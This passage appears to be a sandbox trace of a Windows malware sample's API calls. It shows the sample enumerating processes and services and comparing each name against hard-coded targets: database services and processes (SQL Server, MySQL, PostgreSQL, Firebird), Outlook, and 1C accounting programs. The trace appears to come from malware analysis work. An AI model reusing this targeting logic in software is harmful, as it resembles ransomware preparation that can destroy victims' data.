hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0177.504] lstrlenW (lpString="taskhost.exe") returned 12 [0177.504] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0177.504] lstrlenW (lpString="reader_sl.exe") returned 13 [0177.504] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0177.505] lstrlenW (lpString="n.exe") returned 5 [0177.505] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0177.505] lstrlenW (lpString="n.exe") returned 5 [0177.505] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0177.505] CloseHandle (hObject=0x2dc) returned 1 [0177.506] Sleep (dwMilliseconds=0x1f4) [0178.210] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0178.210] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0178.211] GetLastError () returned 0xea [0178.211] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0178.211] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0178.211] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0178.211] lstrlenW (lpString="Appinfo") returned 7 [0178.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0178.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0178.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0178.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0178.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0178.212] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0178.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.212] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0178.212] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0178.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0178.212] lstrlenW (lpString="AudioSrv") returned 8 [0178.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0178.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0178.212] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0178.212] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0178.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0178.212] lstrlenW (lpString="BFE") returned 3 [0178.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0178.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0178.212] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0178.212] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0178.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0178.212] lstrlenW (lpString="CryptSvc") returned 8 [0178.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0178.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0178.212] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0178.212] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0178.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0178.212] lstrlenW (lpString="CscService") returned 10 [0178.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0178.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0178.213] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0178.213] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0178.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0178.213] lstrlenW (lpString="DcomLaunch") returned 10 [0178.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.213] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0178.213] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0178.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0178.213] lstrlenW (lpString="Dhcp") returned 4 [0178.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0178.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0178.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0178.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0178.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0178.213] lstrlenW (lpString="Dnscache") returned 8 [0178.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0178.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0178.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0178.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0178.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0178.213] lstrlenW (lpString="DPS") returned 3 [0178.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0178.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0178.213] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0178.213] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0178.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0178.213] lstrlenW (lpString="eventlog") returned 8 [0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0178.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0178.214] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0178.214] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0178.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0178.214] lstrlenW (lpString="EventSystem") returned 11 [0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0178.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0178.214] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0178.214] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0178.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0178.214] lstrlenW (lpString="gpsvc") returned 5 [0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0178.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0178.214] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0178.214] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0178.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0178.214] lstrlenW (lpString="iphlpsvc") returned 8 [0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0178.214] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0178.214] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0178.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0178.214] lstrlenW (lpString="LanmanServer") returned 12 [0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0178.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0178.214] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0178.214] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0178.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0178.215] lstrlenW (lpString="LanmanWorkstation") returned 17 [0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0178.215] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0178.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0178.215] lstrlenW (lpString="lmhosts") returned 7 [0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0178.215] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0178.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0178.215] lstrlenW (lpString="MMCSS") returned 5 [0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0178.215] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0178.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0178.215] lstrlenW (lpString="MpsSvc") returned 6 [0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0178.215] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0178.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0178.215] lstrlenW (lpString="Netman") returned 6 [0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0178.216] lstrlenW (lpString="netprofm") returned 8 [0178.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0178.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0178.216] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0178.216] lstrlenW (lpString="NlaSvc") returned 6 [0178.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0178.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0178.216] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0178.216] lstrlenW (lpString="nsi") returned 3 [0178.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0178.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0178.216] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0178.216] lstrlenW (lpString="PcaSvc") returned 6 [0178.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0178.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0178.216] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0178.216] lstrlenW (lpString="PlugPlay") returned 8 [0178.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0178.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0178.216] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0178.217] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0178.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0178.217] lstrlenW (lpString="Power") returned 5 [0178.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0178.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0178.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0178.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0178.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0178.217] lstrlenW (lpString="ProfSvc") returned 7 [0178.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0178.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0178.217] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0178.217] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0178.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0178.217] lstrlenW (lpString="RpcEptMapper") returned 12 [0178.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.217] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0178.217] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0178.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0178.217] lstrlenW (lpString="RpcSs") returned 5 [0178.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0178.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0178.217] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0178.217] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0178.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0178.217] lstrlenW (lpString="SamSs") returned 5 [0178.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0178.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0178.217] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0178.218] lstrlenW (lpString="Schedule") returned 8 [0178.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0178.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0178.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0178.218] lstrlenW (lpString="SENS") returned 4 [0178.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0178.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0178.218] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0178.218] lstrlenW (lpString="ShellHWDetection") returned 16 [0178.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.218] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0178.218] lstrlenW (lpString="Spooler") returned 7 [0178.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0178.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0178.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0178.218] lstrlenW (lpString="SysMain") returned 7 [0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0178.219] lstrlenW (lpString="Themes") returned 6 [0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0178.219] lstrlenW (lpString="TrkWks") returned 6 [0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0178.219] lstrlenW (lpString="UxSms") returned 5 [0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0178.219] lstrlenW (lpString="WdiServiceHost") returned 14 [0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0178.219] lstrlenW (lpString="WdiSystemHost") returned 13 [0178.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0178.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0178.220] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0178.220] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0178.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0178.220] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0178.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0178.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0178.220] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0178.220] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0178.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0178.220] lstrlenW (lpString="Winmgmt") returned 7 [0178.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0178.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0178.220] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0178.220] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0178.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0178.220] lstrlenW (lpString="WPDBusEnum") returned 10 [0178.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0178.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0178.220] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0178.220] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0178.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0178.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0178.220] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0178.222] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.222] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0178.223] lstrlenW (lpString="System") returned 6 [0178.223] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0178.223] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0178.223] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0178.223] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0178.223] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0178.223] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0178.223] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0178.223] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0178.223] lstrlenW (lpString="smss.exe") returned 8 [0178.223] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0178.223] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0178.223] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0178.224] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0178.224] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0178.224] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0178.224] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0178.224] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.224] lstrlenW (lpString="csrss.exe") returned 9 [0178.224] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0178.224] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0178.224] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0178.224] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0178.224] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0178.224] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0178.224] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0178.224] Process32NextW (in: 